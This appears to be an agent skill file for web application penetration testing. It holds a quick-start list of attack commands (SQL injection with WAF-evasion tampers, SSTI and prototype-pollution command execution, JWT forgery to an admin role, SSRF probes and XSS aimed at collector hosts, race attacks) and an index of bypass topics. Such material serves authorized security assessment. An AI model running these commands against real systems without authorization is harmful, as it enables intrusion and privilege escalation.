Web Application Penetration Testing

When to Activate

• Web application security assessment (black/grey/white box)
• API security testing (REST, GraphQL, WebSocket)
• Authentication & session management testing (JWT, OAuth/OIDC, SAML)
• Business-logic and race-condition hunting
• WAF/CSP bypass, filter evasion, and CDN-layer attacks (desync, cache)
• Validating modern 2024-2026 vectors: HTTP/1.1 desync (0.CL/TE.0), SSRF->cloud metadata, prototype-pollution->RCE, SSTI sandbox escapes

Input-Signal Routing (what to test when you see X)

Fast test selection — map an observed parameter/behavior to the right deep-dive:

Technique Map

Quick Start

# 0. Intake from recon-osint: hosts, tech fingerprint, endpoints, params.
#    Spider + content discovery
ffuf -u https://t/FUZZ -w raft-large.txt -mc all -fc 404 -o ffuf.json
nuclei -u https://t -severity critical,high -tags cve,exposure,misconfig

# 1. Injection — automated SQLi, manual cmdi
sqlmap -r request.txt --batch --level 3 --risk 2 --tamper=between,space2comment

# 2. XSS / CSP
python3 scripts/xss_csp_forge.py contexts --collector atk.tld
python3 scripts/xss_csp_forge.py csp "$(curl -sI https://t | grep -i content-security)"

# 3. SSRF -> cloud metadata
python3 scripts/ssrf_toolkit.py probe "https://t/api/fetch?url=FUZZ" --collab abc.oast.fun
python3 scripts/ssrf_toolkit.py cloud --provider aws

# 4. HTTP desync (2024-2026 vectors: cl0/expect/options/te0)
python3 scripts/desync_probe.py https://t --probe all --verbose

# 5. SSTI / prototype pollution / deserialization
python3 scripts/proto_ssti_gadgets.py detect
python3 scripts/proto_ssti_gadgets.py ssti --engine jinja2 --cmd "id"
python3 scripts/proto_ssti_gadgets.py proto --cmd "id"

# 6. Auth & API
python3 scripts/jwt_forge.py hs-confuse "$JWT" --pubkey pub.pem --claim role=admin
python3 scripts/graphql_audit.py introspect https://t/graphql

# 7. Logic / race
python3 scripts/race_single_packet.py https://t/redeem -d "code=X" -n 30 -H "Cookie: s=..."

# -> feed each confirmed issue into templates/exploit/findings/ with
#    severity, CWE, CVSS, PoC, evidence, ATT&CK ID, remediation.

OPSEC & Detection (summary)

Deep Dives

• references/injection-sqli-cmdi.md — SQLi (UNION/blind/error/NoSQL), OS command & argument injection, HTTP Parameter Pollution (HPP), file-upload -> webshell/RCE, Lambda pool-poisoning, ORM CVEs, Neo4j Cypher injection, JSON operator probes, WebSocket delivery, sqlmap tamper workflow, modern WAF/Unicode evasion.
• references/waf-bypass.md — CROSS-CUTTING WAF evasion: encoding/normalisation chains, syntax-level obfuscation per-class, protocol-level (H2C/HTTP/3/WebSocket), ML-WAF evasion (Cyrillic homoglyph/adversarial padding/feature-weight), SNI/domain fronting, TLS fingerprint, per-WAF payloads, CVE-2023-50969.
• references/xxe.md — file read, blind/OOB exfil, error-based, SSRF via XXE (cloud metadata jar://, redirect chain), file-upload XXE (SVG/DOCX/XLSX/EPUB), SAML XXE, CI/CD pipeline XXE (K8s/Jenkins/GitLab/GitHub Actions), filter bypass, parser hardening versions.
• references/xss-csp-clientside.md — XSS contexts, DOM sinks, CSP bypass + script gadgets, client-side prototype pollution -> XSS, mXSS/sanitizer bypass.
• references/ssrf-cloud-metadata.md — SSRF parser confusion, gopher/redis, AWS/GCP/Azure metadata, IMDSv2 reality + Axios bypass, HTML-to-PDF switch, 2024-2026 CVEs (Azure OpenAI, Oracle EBS, Next.js, ColdFusion).
• references/http-desync-cache.md — CL.TE/TE.CL, TE.0 (2024), 0.CL/Expect & CVE-2025-32094 (Akamai), TE.TE chunk-ext, cache poisoning/deception ("Gotta cache 'em all", ACM CCS 2024), pipelining-vs-desync caveat.
• references/ssti-deserialization.md — per-engine SSTI RCE, sandbox escapes (CVE-2024-22195, Frappe/XWiki/Yeti), Node prototype-pollution -> RCE (GHunter, NODE_OPTIONS --import), Java/.NET/PHP deserialization gadget chains.
• references/auth-api-access-control.md — JWT forgery, OAuth/OIDC/SAML, GraphQL batch/alias/depth abuse, session & auth-check tampering (empty/null/falsy value, NoSQL-operator + type-juggling + HPP into auth), session token prediction/entropy (scripts/session_entropy.py), test-account setup for cross-identity testing, IDOR/BOLA/mass assignment, CORS misconfiguration, CSRF, and the HTTP/2 single- packet race attack.
• references/business-logic-abuse.md — model the intended state machine, then break transitions: price/quantity/coupon tampering, refund/payout & single-packet races, workflow-step skip, idempotency gaps, tenant/role confusion, flaw-chaining.
• references/proxy-mcp-integration.md — driving a live Burp/Caido proxy MCP for ground-truth traffic + replay-with-auth, with mandatory header redaction (redact_headers.py) at the data boundary.